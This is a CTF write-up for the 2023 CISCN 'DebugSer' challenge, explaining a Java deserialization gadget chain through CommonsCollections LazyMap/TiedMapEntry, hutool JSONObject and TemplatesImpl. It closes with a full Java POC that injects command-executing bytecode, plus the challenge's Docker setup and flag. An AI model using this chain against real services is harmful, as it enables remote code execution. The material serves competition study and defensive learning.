Contents

2023CISCN初赛 DebugSer

镜像信息

  • 题目名称:2023CISCN初赛DebugSer
  • docker镜像:lxxxin/ciscn2023_deserbug
  • flag信息:
    • /flag
  • 内部端口:8888
  • 注意:
    • 部署时,容器至少需要256MB的运行内存,否则容器将无法启动
  • 题目描述:
    • cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
    • 容器启动可能需要一两分钟,请耐心等待!
  • 附件:

deserbug_4eafaf14e8f7df3b534ba30ed1881ff0.zip

启动脚本

1
docker run -it -d -p 12345:8888 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_deserbug

WriteUp

这题考察cc链的改造,先下载附件分析:

Testapp类中直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162302430.png

题目用的是CC3.2.2依赖,在CC3.2.2及以后,对一些不安全的Java类的序列化增加了开关,默认为关闭状态,比如CC6要用到的InvokerTransformer类就被干掉了

不过题目给了一个Myexcept类,注意getAnyexcept方法可以实例化一个单参数的类

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162302432.png

这一段实例化TrAXFilter类:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162302433.png

因此sink点就是TemplatesImpl类

再拼接一下中间的gadget,题目给了下方的提示:

1
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

那接下来就是要找调用put的地方,其中LazyMap#get方法可以调用put

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162302434.png

再就是找调用get的地方,要求调用get的只有一个参数,并且是Map类的实现类 使用Tabby寻找的语法如下(From atao):

match (source:Method {NAME:"toString"}) where source.CLASSNAME=~"org.apache.commons.collections.*"
match (sink:Method {NAME:"get", CLASSNAME:"java.util.Map"}) where sink.PARAMETER_SIZE=1
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 3, false, true) yield path
return path

最终找到的类是TiedMapEntry

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162302435.png

堆栈信息如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
exec:347, Runtime (java.lang)
......
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
......
getAnyexcept:30, Myexpect (com.app)
......
put:32, JSONObject (cn.hutool.json)
get:159, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:132, TiedMapEntry (org.apache.commons.collections.keyvalue)
lambda$main$0:29, Testapp (com.app)
......

EXP如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class POC {
    public static String filePath = "/path/to/ser.bin";
    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();//用javassist获取
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypearg(new Object[]{templates});
        myexpect.setTypeparam(new Class[]{Templates.class});
        ConstantTransformer constantTransformer = new ConstantTransformer(myexpect);

        LazyMap lazymap = (LazyMap) LazyMap.decorate(new JSONObject(), constantTransformer);
        LazyMap lazymap1 = (LazyMap) LazyMap.decorate(new HashMap(), constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap1, "useless");
        setFieldValue(tiedMapEntry, "map", lazymap);
        setFieldValue(tiedMapEntry, "key", "useless");

        ser(tiedMapEntry);
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
        objectOutputStream.writeObject(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
}